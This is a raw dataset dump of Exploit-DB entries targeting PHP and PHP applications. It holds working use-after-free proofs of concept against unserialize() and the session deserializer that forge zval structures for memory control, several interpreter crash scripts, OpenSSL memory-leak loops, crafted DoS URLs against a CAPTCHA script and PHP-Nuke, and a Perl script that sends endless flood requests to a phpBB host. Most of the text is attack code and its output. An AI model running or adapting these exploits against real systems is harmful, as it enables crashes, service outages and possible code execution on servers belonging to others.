deardaniel/secdata-raw huggingface dataset:
Exploit-DB #38120
Description: PHP 5.4/5.5/5.6 - SplDoublyLinkedList 'Unserialize()' Use-After-Free
Type: dos
Platform: php
Date: 2015-09-09
Author: Taoguang Chen

Exploit:
Yet Another Use After Free Vulnerability in unserialize() with SplDoublyLinkedList

Taoguang Chen <[@chtg](http://github.com/chtg)> - 
Write Date: 2015.8.27 
Release Date: 2015.9.4

A use-after-free vulnerability was discovered in unserialize() with SplDoublyLinkedList object's deserialization and crafted object's __wakeup() magic method that can be abused for leaking arbitrary memory blocks or execute arbitrary code remotely.

Affected Versions
------------
Affected is PHP 5.6 < 5.6.13
Affected is PHP 5.5 < 5.5.29
Affected is PHP 5.4 < 5.4.45

Credits
------------
This vulnerability was disclosed by Taoguang Chen.

Description
------------


  while(*p == ':') {
    ++p;
    ALLOC_INIT_ZVAL(elem);
    if (!php_var_unserialize(&elem, &p, s + buf_len, &var_hash TSRMLS_CC)) {
      zval_ptr_dtor(&elem);
      goto error;
    }

    spl_ptr_llist_push(intern->llist, elem TSRMLS_CC);
  }


It has been demonstrated many times before that __wakeup() leads to
ZVAL is freed from memory. However during deserialization will still
allow to use R: or r: to set references to that already freed memory.
It is possible to use-after-free attack and execute arbitrary code
remotely.

Proof of Concept Exploit
------------
The PoC works on standard MacOSX 10.11 installation of PHP 5.6.12.


<?php

class obj {
  var $ryat;
  function __wakeup() {
    $this->ryat = 1;
  }
}

$fakezval = ptr2str[PII_REDACTED]);
$fakezval .= ptr2str(0);
$fakezval .= "\x00\x00\x00\x00";
$fakezval .= "\x01";
$fakezval .= "\x00";
$fakezval .= "\x00\x00";

$inner = 'i:1234;:i:1;';
$exploit = 'a:5:{i:0;i:1;i:1;C:19:"SplDoublyLinkedList":'.strlen($inner).':{'.$inner.'}i:2;O:3:"obj":1:{s:4:"ryat";R:3;}i:3;a:1:{i:0;R:5;}i:4;s:'.strlen($fakezval).':"'.$fakezval.'";}';

$data = unserialize($exploit);

var_dump($data);

function ptr2str($ptr)
{
  $out = '';
  for ($i = 0; $i < 8; $i++) {
    $out .= chr($ptr & 0xff);
    $ptr >>= 8;
  }
  return $out;
}

?>


Test the PoC on the command line:


$ php uafpoc.php
array(5) {
  [0]=>
  int(1)
  [1]=>
  &int(1)
  [2]=>
  object(obj)#2 (1) {
    ["ryat"]=>
    &int(1)
  }
  [3]=>
  array(1) {
    [0]=>
    int[PII_REDACTED])  <===  so we can control the memory and create fake ZVAL :)
  }
  [4]=>
  string(24) "?v?B????"
}
Exploit-DB #38122
Description: PHP 5.4/5.5/5.6 - SplObjectStorage 'Unserialize()' Use-After-Free
Type: dos
Platform: php
Date: 2015-09-09
Author: Taoguang Chen

Exploit:
Yet Another Use After Free Vulnerability in unserialize() with SplObjectStorage

Taoguang Chen <[@chtg](http://github.com/chtg)> 
Write Date: 2015.8.27 
Release Date: 2015.9.4

A use-after-free vulnerability was discovered in unserialize() with SplObjectStorage object's deserialization and crafted object's __wakeup() magic method that can be abused for leaking arbitrary memory blocks or execute arbitrary code remotely.

Affected Versions
------------
Affected is PHP 5.6 < 5.6.13
Affected is PHP 5.5 < 5.5.29
Affected is PHP 5.4 < 5.4.45

Credits
------------
This vulnerability was disclosed by Taoguang Chen.

Description
------------


    ALLOC_INIT_ZVAL(pentry);
    if (!php_var_unserialize(&pentry, &p, s + buf_len, &var_hash TSRMLS_CC)) {
      zval_ptr_dtor(&pentry);
      goto outexcept;
    }
    if(Z_TYPE_P(pentry) != IS_OBJECT) {
      goto outexcept;
    }
    ALLOC_INIT_ZVAL(pinf);
    if (*p == ',') { /* new version has inf */
      ++p;
      if (!php_var_unserialize(&pinf, &p, s + buf_len, &var_hash TSRMLS_CC)) {
        zval_ptr_dtor(&pinf);
        goto outexcept;
      }
    }


It has been demonstrated many times before that __wakeup() leads to
ZVAL is freed from memory. However during deserialization will still
allow to use R: or r: to set references to that already freed memory.
It is possible to use-after-free attack and execute arbitrary code
remotely.

Proof of Concept Exploit
------------
The PoC works on standard MacOSX 10.11 installation of PHP 5.6.12.


<?php

class obj {
  var $ryat;
  function __wakeup() {
    $this->ryat = 1;
  }
}

$fakezval = ptr2str[PII_REDACTED]);
$fakezval .= ptr2str(0);
$fakezval .= "\x00\x00\x00\x00";
$fakezval .= "\x01";
$fakezval .= "\x00";
$fakezval .= "\x00\x00";

$inner = 'x:i:1;O:8:"stdClass":0:{},i:1;;m:a:0:{}';
$exploit = 'a:5:{i:0;i:1;i:1;C:16:"SplObjectStorage":'.strlen($inner).':{'.$inner.'}i:2;O:3:"obj":1:{s:4:"ryat";R:3;}i:3;R:6;i:4;s:'.strlen($fakezval).':"'.$fakezval.'";}';

$data = unserialize($exploit);

var_dump($data);

function ptr2str($ptr)
{
  $out = '';
  for ($i = 0; $i < 8; $i++) {
    $out .= chr($ptr & 0xff);
    $ptr >>= 8;
  }
  return $out;
}

?>


Test the PoC on the command line:


$ php uafpoc.php
array(5) {
  [0]=>
  int(1)
  [1]=>
  &int(1)
  [2]=>
  object(obj)#3 (1) {
    ["ryat"]=>
    &int(1)
  }
  [3]=>
  int[PII_REDACTED])  <===  so we can control the memory and create fake ZVAL :)
  [4]=>
  string(24) "?v?B????"
}
Exploit-DB #18458
Description: PHP 5.4SVN-2012-02-03 - htmlspecialchars/entities Buffer Overflow
Type: dos
Platform: php
Date: 2012-02-03
Author: cataphract

Exploit:
From:             cataphract
Operating system: Any
PHP version:      5.4SVN-2012-02-03 (SVN)
Package:          Reproducible crash
Bug Type:         Bug
Bug description:Buffer overflow on htmlspecialchars/entities with $double=false

Description:
------------
Long entities can cause a buffer overflow because the loop only guarantees
40 bytes available in beginning.

Test script:
---------------
<?php
echo
htmlspecialchars('"""""""""""""""""""""""""""""""""""""""""""""&#x[PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED]0005;',
ENT_QUOTES, 'UTF-8', false), "\n";
Exploit-DB #40321
Description: PHP 7.0 - 'AppendIterator::append' Local Denial of Service
Type: dos
Platform: php
Date: 2016-08-31
Author: Yakir Wizman

Exploit:
<?php
#############################################################################
## PHP 7.0 AppendIterator::append Local Denial of Service
## Tested on Windows Server 2012 R2 64bit, English, PHP 7.0
## Date: 31/08/2016
## Local Denial of Service
## Bug discovered by Yakir Wizman (https://www.linkedin.com/in/yakirwizman)
## http://www.black-rose.ml
#############################################################################
$tmp = new AppendIterator();
$tmp->append($tmp); // Crash
?>
Exploit-DB #40329
Description: PHP 7.0 - JsonSerializable::jsonSerialize json_encode Local Denial of Service
Type: dos
Platform: php
Date: 2016-08-31
Author: Yakir Wizman

Exploit:
<?php
#############################################################################
## PHP 7.0 JsonSerializable::jsonSerialize json_encode Local Denial of Service
## Tested on Windows Server 2012 R2 64bit, English, PHP 7.0
## Date: 31/08/2016
## Local Denial of Service
## Bug discovered by Yakir Wizman (https://www.linkedin.com/in/yakirwizman)
## http://www.black-rose.ml
#############################################################################
class jsonTmp implements JsonSerializable {
	function jsonSerialize() {
		$jsonTmp = new jsonTmp();
		return $jsonTmp;
	}
}
json_encode(new jsonTmp());
?>
Exploit-DB #40302
Description: PHP 7.0 - Object Cloning Local Denial of Service
Type: dos
Platform: php
Date: 2016-08-29
Author: Yakir Wizman

Exploit:
<?php
#############################################################################
## PHP 7.0 Object Cloning Local Denial of Service
## Tested on Windows Server 2012 R2 64bit, English, PHP 7.0
## Date: 26/08/2016
## Local Denial of Service
## Bug discovered by Yakir Wizman (https://www.linkedin.com/in/yakirwizman)
## http://www.black-rose.ml
#############################################################################
class MyCloneableClass
{
	public $obj;
    function __clone()
    {
		$this->obj = clone $this;
		return $this->obj;
    }
}
$obj	= new MyCloneableClass();
$obj2 	= clone $obj;
?>
Exploit-DB #35487
Description: PHP < 5.3.6 'OpenSSL' Extension - 'openssl_decrypt' Ciphertext Data Memory Leak Denial of Service
Type: dos
Platform: php
Date: 2011-03-08
Author: dovbysh

Exploit:
source: https://www.securityfocus.com/bid/46977/info
 
PHP is prone to multiple remote denial-of-service vulnerabilities that affect the 'OpenSSL' extension.
 
Successful attacks will cause the application to consume excessive memory, creating a denial-of-service condition.
 
Versions prior to PHP 5.3.6 are vulnerable. 

<?php

$data = "jfdslkjvflsdkjvlkfjvlkjfvlkdm,4w 043920r 9234r 32904r 09243 r7-89437 r892374 r894372 r894 7289r7 f  frwerfh i iurf iuryw uyrfouiwy ruy[PII_REDACTED]942 yrhfjkdhls";
$pass = "r23498rui324hjbnkj";

$maxi = 200000;
$t = microtime(1);
for ($i=0;$i<$maxi; $i++){
	$cr = openssl_encrypt($data.$i, 'des3', $pass, false, '1qazxsw2');
	$dcr = openssl_decrypt($cr, 'des3', $pass, false, '1qazxsw2');
	if ($dcr != $data.$i){
		print "at step $i decryption failed\n";
	}
}
$t = microtime(1)-$t;
print "mode: openssl_encrypt ($maxi) tests takes ".$t."secs ".($maxi/$t)."#/sec \n";
?>

fixes by add this code at line 4818 at the end of openssl_decrypt:
	EVP_CIPHER_CTX_cleanup(&cipher_ctx);


?>
Exploit-DB #35486
Description: PHP < 5.3.6 'OpenSSL' Extension - 'openssl_encrypt' Plaintext Data Memory Leak Denial of Service
Type: dos
Platform: php
Date: 2011-03-08
Author: dovbysh

Exploit:
source: https://www.securityfocus.com/bid/46977/info

PHP is prone to multiple remote denial-of-service vulnerabilities that affect the 'OpenSSL' extension.

Successful attacks will cause the application to consume excessive memory, creating a denial-of-service condition.

Versions prior to PHP 5.3.6 are vulnerable. 

<?php

$data = "jfdslkjvflsdkjvlkfjvlkjfvlkdm,4w 043920r 9234r 32904r 09243 r7-89437 r892374 r894372 r894 7289r7 f  frwerfh i iurf iuryw uyrfouiwy ruy[PII_REDACTED]942 yrhfjkdhls";
$pass = "r23498rui324hjbnkj";

$maxi = 200000;
$t = microtime(1);
for ($i=0;$i<$maxi; $i++){
	openssl_encrypt($data.$i, 'des3', $pass, false, '1qazxsw2');
}
$t = microtime(1)-$t;
print "mode: openssl_encrypt ($maxi) tests takes ".$t."secs ".($maxi/$t)."#/sec \n";

?>
Exploit-DB #35485
Description: PHP < 5.3.6 'Zip' Extension - 'zip_fread()' Denial of Service
Type: dos
Platform: php
Date: 2011-03-10
Author: TorokAlpar

Exploit:
source: https://www.securityfocus.com/bid/46975/info

PHP is prone to a remote denial-of-service vulnerability that affects the 'Zip' extension.

Successful attacks will cause the application to crash, creating a denial-of-service condition. Due to the nature of this issue, arbitrary code-execution may be possible; however, this has not been confirmed.

Versions prior to PHP 5.3.6 are vulnerable. 

<?php
$o = new ZipArchive();
if (! $o->open('test.zip',ZipArchive::CHECKCONS)) {
	exit ('error can\'t open');
}
$o->getStream('file2'); // this file is ok
echo "OK";
$r = $o->getStream('file1'); // this file has a wrong crc
while (! feof($r)) {
	fread($r,1024);
}
echo "never here\n";
?>
Exploit-DB #36070
Description: PHP < 5.3.7 - Multiple Null Pointer Dereference Denial of Service Vulnerabilities
Type: dos
Platform: php
Date: 2011-08-19
Author: Maksymilian Arciemowicz

Exploit:
source: https://www.securityfocus.com/bid/49249/info

PHP is prone to multiple denial-of-service vulnerabilities caused by a NULL-pointer dereference.

An attacker can exploit these issues to cause an application written in PHP to crash, denying service to legitimate users.

PHP 5.3.7 is vulnerable; other versions may also be affected. 

127# ulimit -m 100000
127# ulimit -v 100000
127# cat /www/strtotime.php
<?php
$strx=str_repeat("A",$argv[1]);
var_dump(strtotime($strx));
?>127#
127#  /cxib/5371/build/bin/php /www/strtotime.php 33388888
Memory fault (core dumped)

127# gdb -q /cxib/5371/build/bin/php
(gdb) r /www/strtotime.php 33388888
Starting program: /cxib/5371/build/bin/php /www/strtotime.php 33388888

Program received signal SIGSEGV, Segmentation fault.
0x0806e8bd in add_error (s=0xbfbfcf90,
    error=0x83ea7d8 "Double timezone specification")
    at /cxib/5371/ext/date/lib/parse_date.c:355
355             s->errors->error_messages[s->errors->error_count -
1].position = s->tok ? s->tok - s->str : 0;
(gdb) print s->errors->error_messages
$1 = (struct timelib_error_message *) 0x0
(gdb) print s->errors->error_count
$2 = 1835009
Exploit-DB #11397
Description: PHP Captcha Security Images - Denial of Service
Type: dos
Platform: php
Date: 2010-02-11
Author: cp77fk4r

Exploit:
# Exploit Title: CaptchaSecurityImages.php Denial Of Service
# Author: cp77fk4r | empty0page[SHIFT+2]gmail.com | www.DigitalWhisper.co.il
# Software Link: http://www.white-hat-web-design.co.uk/articles/php-captcha.php
#
##[Denial Of Service]
(OWASP: The Denial of Service (DoS) attack is focused on making unavailable a resource (site, application, server) for the purpose it was designed. There are many ways to make a service unavailable for legitimate users by manipulating network packets, programming, logical, or resources handling vulnerabilities, among others. If a service receives a very large number of requests, it may stop providing service to legitimate users. In the same way, a service may stop if a programming vulnerability is exploited, or the way the service handles resources used by it.)
#
#Exploit:
/CaptchaSecurityImages.php?width=13333337&height=13333337&characters=13333337
#
#
The vuln code is: (lines 73-75)
#
$width = isset($_GET['width']) ? $_GET['width'] : '120';
$height = isset($_GET['height']) ? $_GET['height'] : '40';
$characters = isset($_GET['characters']) && $_GET['characters'] > 1 ? $_GET['characters'] : '6';
#
To fix it- delete all the "$_GET[x]" strings and make it constant, like this:
#
$width=100;
$height=40;
$characters=5;
#
#
#[e0f]
Exploit-DB #38121
Description: PHP GMP - 'unserialize()' Use-After-Free
Type: dos
Platform: php
Date: 2015-09-09
Author: Taoguang Chen

Exploit:
Use After Free Vulnerability in unserialize() with GMP

Taoguang Chen <[@chtg](http://github.com/chtg)> 
Write Date: 2015.8.17 
Release Date: 2015.9.4

A use-after-free vulnerability was discovered in unserialize() with GMP object's deserialization that can be abused for leaking arbitrary memory blocks or execute arbitrary code remotely.

Affected Versions
------------
Affected is PHP 5.6 < 5.6.13

Credits
------------
This vulnerability was disclosed by Taoguang Chen.

Description
------------

static int gmp_unserialize(zval **object, zend_class_entry *ce, const
unsigned char *buf, zend_uint buf_len, zend_unserialize_data *data
TSRMLS_DC) /* {{{ */
{
  ...

  INIT_ZVAL(zv);
  if (!php_var_unserialize(&zv_ptr, &p, max, &unserialize_data TSRMLS_CC)
    || Z_TYPE_P(zv_ptr) != IS_STRING
    || convert_to_gmp(gmpnum, zv_ptr, 10 TSRMLS_CC) == FAILURE
  ) {
    zend_throw_exception(NULL, "Could not unserialize number", 0 TSRMLS_CC);
    goto exit;
  }
  zval_dtor(&zv);

  INIT_ZVAL(zv);
  if (!php_var_unserialize(&zv_ptr, &p, max, &unserialize_data TSRMLS_CC)
    || Z_TYPE_P(zv_ptr) != IS_ARRAY
  ) {
    zend_throw_exception(NULL, "Could not unserialize properties", 0 TSRMLS_CC);
    goto exit;
  }


The GMP object's deserialization can create ZVAL and free its
zval_value from memory via zval_dtor(). However during deserialization
will still allow to use R: or r: to set references to that already
freed memory. It is possible to use-after-free attack and execute
arbitrary code remotely.

Proof of Concept Exploit
------------
The PoC works on standard MacOSX 10.11 installation of PHP 5.6.12.

<?php

$inner = 'r:2;a:1:{i:0;a:1:{i:0;r:4;}}';
$exploit = 'a:2:{i:0;s:1:"1";i:1;C:3:"GMP":'.strlen($inner).':{'.$inner.'}}';

$data = unserialize($exploit);

$fakezval = ptr2str[PII_REDACTED]);
$fakezval .= ptr2str(0);
$fakezval .= "\x00\x00\x00\x00";
$fakezval .= "\x01";
$fakezval .= "\x00";
$fakezval .= "\x00\x00";

for ($i = 0; $i < 5; $i++) {
    $v[$i] = $fakezval.$i;
}

var_dump($data);

function ptr2str($ptr)
{
  $out = '';
  for ($i = 0; $i < 8; $i++) {
    $out .= chr($ptr & 0xff);
    $ptr >>= 8;
  }
  return $out;
}

?>


Test the PoC on the command line:

$ php uafpoc.php
array(2) {
  [0]=>
  int[PII_REDACTED])  <===  so we can control the memory and create fake ZVAL :)
  [1]=>
  object(GMP)#1 (2) {
    [0]=>
    array(1) {
      [0]=>
      int[PII_REDACTED])
    }
    ["num"]=>
    string(1) "1"
  }
}
Exploit-DB #36682
Description: PHP PDORow Object - Remote Denial of Service
Type: dos
Platform: php
Date: 2011-09-24
Author: anonymous

Exploit:
source: https://www.securityfocus.com/bid/51952/info

PHP is prone to a remote denial-of-service vulnerability.

An attacker can exploit this issue to cause the web server to crash, denying service to legitimate users.

PHP 5.3.8 is vulnerable; other versions may also be affected. 

<?php

// make a Pdo_Mysql statement before

$result = $stmt->fetch(PDO::FETCH_LAZY);

session_start();

$_SESSION['PDORow'] = $result;
?>
Exploit-DB #38123
Description: PHP Session Deserializer - Use-After-Free
Type: dos
Platform: php
Date: 2015-09-09
Author: Taoguang Chen

Exploit:
Use After Free Vulnerabilities in Session Deserializer

Taoguang Chen <[@chtg](http://github.com/chtg)> 
Write Date: 2015.8.9
Release Date: 2015.9.4

Multiple use-after-free vulnerabilities were discovered in session deserializer (php/php_binary/php_serialize) that can be abused for leaking arbitrary memory blocks or execute arbitrary code remotely.

Affected Versions
------------
Affected is PHP 5.6 < 5.6.13
Affected is PHP 5.5 < 5.5.29
Affected is PHP 5.4 < 5.4.45

Credits
------------
This vulnerability was disclosed by Taoguang Chen.

Description
------------

PS_SERIALIZER_DECODE_FUNC(php) /* {{{ */
{

  ...  

  PHP_VAR_UNSERIALIZE_INIT(var_hash);

  p = val;

  while (p < endptr) {
    
    ...

    if (has_value) {
      ALLOC_INIT_ZVAL(current);
      if (php_var_unserialize(&current, (const unsigned char **) &q,
(const unsigned char *) endptr, &var_hash TSRMLS_CC)) {
        php_set_session_var(name, namelen, current, &var_hash  TSRMLS_CC);
      }
      zval_ptr_dtor(&current);
    }
    PS_ADD_VARL(name, namelen);
skip:
    efree(name);

    p = q;
  }
break_outer_loop:

  PHP_VAR_UNSERIALIZE_DESTROY(var_hash);

  return SUCCESS;
}


When session deserializer (php/php_binary) deserializing multiple data
it will call to php_var_unserialize() multiple times. So we can create
ZVAL and free it via the php_var_unserialize() with a crafted
serialized string, and also free the memory (reduce the reference
count of the ZVAL to zero) via zval_ptr_dtor() with deserialize two
identical session data, then the next call to php_var_unserialize()
will still allow to use R: or r: to set references to that already
freed memory. It is possible to use-after-free attack and execute
arbitrary code remotely.

In some other cases, session deserializer
(php/php_binary/php_serialize) may also lead to use-after-free
vulnerabilities: i) via crafted Serializable::unserialize() ii) via
unserialize()'s callback function and zend_lookup_class() call a
crafted __autoload().

Proof of Concept Exploit
------------
The PoC works on standard MacOSX 10.11 installation of PHP 5.4.44.


<?php

session_start();

$fakezval = ptr2str[PII_REDACTED]);
$fakezval .= ptr2str(0);
$fakezval .= "\x00\x00\x00\x00";
$fakezval .= "\x01";
$fakezval .= "\x00";
$fakezval .= "\x00\x00";

$exploit = 'ryat|a:2:{i:0;i:1;i:1;a:1:{i:1;chtg|a:1:{i:0;R:4;}';
// $exploit = 'ryat|a:1:{i:0;i:1;}ryat|i:1;chtg|R:1;';
session_decode($exploit);

for ($i = 0; $i < 5; $i++) {
    $v[$i] = $fakezval.$i;
}

var_dump($_SESSION);

function ptr2str($ptr)
{
  $out = "";
  for ($i = 0; $i < 8; $i++) {
    $out .= chr($ptr & 0xff);
    $ptr >>= 8;
  }
  return $out;
}

?>


Test the PoC on the command line:


$ php uafpoc.php
array(2) {
  ["ryat"]=>
  NULL
  ["chtg"]=>
  array(1) {
    [0]=>
    int[PII_REDACTED])  <===  so we can control the memory and create fake ZVAL :)
  }
}
Exploit-DB #22110
Description: PHP-Nuke 6.0 - 'modules.php' Denial of Service
Type: dos
Platform: php
Date: 2002-12-23
Author: Ing. Bernardo Lopez

Exploit:
source: https://www.securityfocus.com/bid/6465/info

A denial of service vulnerability has been reported for the modules.php script used by PHP-Nuke. The vulnerability occurs because the modules.php script does not properly validate some URI parameters.

An attacker can exploit this vulnerability by modifying certain parameters when making a request for the modules.php script. This will prevent visitors to the site hosting PHP-Nuke from creating a new account thereby leading to a denial of service vulnerability. 

http://target.com/modules.php?name=Your_Account&op=userinfo&uname=
Exploit-DB #39092
Description: phpBB 3.0.8 - Remote Denial of Service
Type: dos
Platform: php
Date: 2014-02-11
Author: Amir

Exploit:
source: https://www.securityfocus.com/bid/65481/info

phpBB is prone to a remote denial-of-service vulnerability.

An attacker can exploit this issue to crash the affected application, denying service to legitimate users.

###########################

# Phpbb Forum Denial of Service Vulnerability

###########################

#!/usr/bin/perl
# Iranian Exploit DataBase
# Phpbb Forum Denial of Service Vulnerability
# Version: All Version
# Vendor site : http://www.phpbb.com
# Code Written By Amir - iedb.team@gmail.com - o0_iedb_0o@yahoo.com
# Site : Www.IeDb.Ir   -   Www.IrIsT.Ir
# Fb Page : 
https://www.facebook.com/pages/Exploit-And-Security-Team-iedbir/[PII_REDACTED]6538
# Greats : TaK.FaNaR - ErfanMs - Medrik - F@riD - Bl4ck M4n - 0x0ptim0us 
- 0Day - Dj.TiniVini - E2MA3N 
#  l4tr0d3ctism - H-SK33PY - Noter - r3d_s0urc3 - Dr_Evil And All 
Members In IeDb.Ir/acc
#####################################
use Socket;
if (@ARGV < 2) { &usage }
$rand=rand(10);
$host = $ARGV[0];
$dir = $ARGV[1];
$host =~ s/(http:\/\/)//eg;
for ($i=0; $i<10; $i--)
{
$data = 
"securitytoken=guest&do=process&query=%DB%8C%D8%B3%D8%A8%D9%84%D8%B3%DB%8C%D9%84%D8%B3%DB%8C%D8%A8%D9%84%0%0%0%0%0%0%0%0%0%0&submit.x=0&submit.y=0";
$len = length $data;
$foo = "POST ".$dir."search.php?do=process HTTP/1.1\r\n".
"Accept: * /*\r\n".
"Accept-Language: en-gb\r\n".
"Content-Type: application/x-www-form-urlencoded\r\n".
"Accept-Encoding: gzip, deflate\r\n".
"User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)\r\n".
"Host: $host\r\n".
"Content-Length: $len\r\n".
"Connection: Keep-Alive\r\n".
"Cache-Control: no-cache\r\n\r\n".
"$data";
my $port = "80";
my $proto = getprotobyname('tcp');
socket(SOCKET, PF_INET, SOCK_STREAM, $proto);
connect(SOCKET, sockaddr_in($port, inet_aton($host))) || redo;
send(SOCKET,"$foo", 0);
syswrite STDOUT, "+" ;
}
print "\n\n";
system('ping $host');
sub usage {
print "\n";
print "################################################# \n";
print "##       Phpbb Forum Denial of Service Vulnerability\n";
print "## Discoverd By Amir - iedb.team@gmail.com - Id : o0_iedb_0o \n";
print "##            Www.IeDb.Ir   -   Www.IrIsT.Ir \n";
print "################################################# \n";
print "## [host] [path] \n";
print "## http://host.com /forum/\n";
print "################################################# \n";
print "\n";
exit();
};
#####################################
#  Archive Exploit = http://www.iedb.ir/exploits-868.html
#####################################

###########################

# Iranian Exploit DataBase = http://IeDb.Ir [2013-11-17]

###########################